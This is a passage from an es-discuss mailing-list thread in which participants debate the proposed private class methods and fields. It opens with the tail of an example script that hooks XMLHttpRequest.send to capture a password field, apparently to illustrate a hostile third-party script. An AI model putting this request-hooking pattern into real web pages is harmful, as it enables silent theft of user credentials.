> JSON.stringify(data.password) + '\n');
>        } catch (ignore) {
>        }
>        XMLHttpRequestPrototypeSend.apply(this, arguments);
>    };
>    console.log('loaded script <script
> src="jquery.from.untrusted.cdn.js"></script>');
> }());
> ```
>
>
>> On 4/17/18, Dan Peddle <[hidden email]> wrote:
>> imagine you are shipping a module for use by others, and you don't want to
>> expose internals to consumers. private methods and properties help to know
>> that only the public API is in use, giving confidence in publishing updates
>> or fixes.
>>
>> another use case is knowing that naughty developers aren't reaching into
>> your module and changing its behaviour.
>>
>> I'm sure there's more, but those are the ones that come to mind.
>>
>>> On 17. Apr 2018, at 08:17, kai zhu <[hidden email]> wrote:
>>>
>>> as a javascript web-developer, can someone educate me on how private
>>> class methods/fields would make one's life easier (rather than harder)
>>> in getting web-projects shipped?
>>>
>>> ```
>>> /*
>>> * how is this cited example better than using a plain object in a
>>> web-project?
>>> * can someone give actual common problems in
>>> * debugging/integrating/shipping web-projects,
>>> * that private methods/fields could help simplify (rather than
>>> complicate)?
>>> */
>>> class HashTable {
>>> constructor() {
>>>   private[Symbol.for('length')] = 0
>>> }
>>> set(key, value) {
>>>   private[key] = value
>>> }
>>> get(key) {
>>>   return private[key]
>>> }
>>> }
>>> ```
>>>
>>
> _______________________________________________
> es-discuss mailing list
> [hidden email]
> https://mail.mozilla.org/listinfo/es-discuss
_______________________________________________
es-discuss mailing list
[hidden email]
https://mail.mozilla.org/listinfo/es-discuss
Reply | Threaded
Open this post in threaded view
|

Re: EcmaScript Proposal – Private methods and fields proposals.

Waldemar Horwat
In reply to this post by Sultan
On 04/16/2018 05:47 PM, Sultan wrote:
>  >An instance has a fixed set of private fields which get created at object creation time.
>
> The implications of this alternative does not necessarily limit the creation of private fields to creation time, for example writing to a private field in the constructor or at any arbitrary time within the lifecycle of the instance.

That would contradict your previous answer to the hijacking question.

>  >How do you deal with inner nested classes wanting to refer to outer classes' private fields?
>
> Not sure i understood what you mean by this?

Class B is lexically nested inside class A.  You want to refer to one of A's privates from within B's body.

     Waldemar
_______________________________________________
es-discuss mailing list
[hidden email]
https://mail.mozilla.org/listinfo/es-discuss
Reply | Threaded
Open this post in threaded view
|

Re: EcmaScript Proposal – Private methods and fields proposals.

Sultan
>That would contradict your previous answer to the hijacking question.

Can you point out the contradiction? The private field is still being written to by the providing class.

>Class B is lexically nested inside class A. You want to refer to one of A's privates from within B's body.

Can you provide an example of what this looks like with the current public/private fields proposals?

On Tue, Apr 17, 2018 at 11:20 PM, Waldemar Horwat <[hidden email]> wrote:
On 04/16/2018 05:47 PM, Sultan wrote:
 >An instance has a fixed set of private fields which get created at object creation time.

The implications of this alternative does not necessarily limit the creation of private fields to creation time, for example writing to a private field in the constructor or at any arbitrary time within the lifecycle of the instance.

That would contradict your previous answer to the hijacking question.

 >How do you deal with inner nested classes wanting to refer to outer classes' private fields?

Not sure i understood what you mean by this?

Class B is lexically nested inside class A.  You want to refer to one of A's privates from within B's body.

    Waldemar


_______________________________________________
es-discuss mailing list
[hidden email]
https://mail.mozilla.org/listinfo/es-discuss
12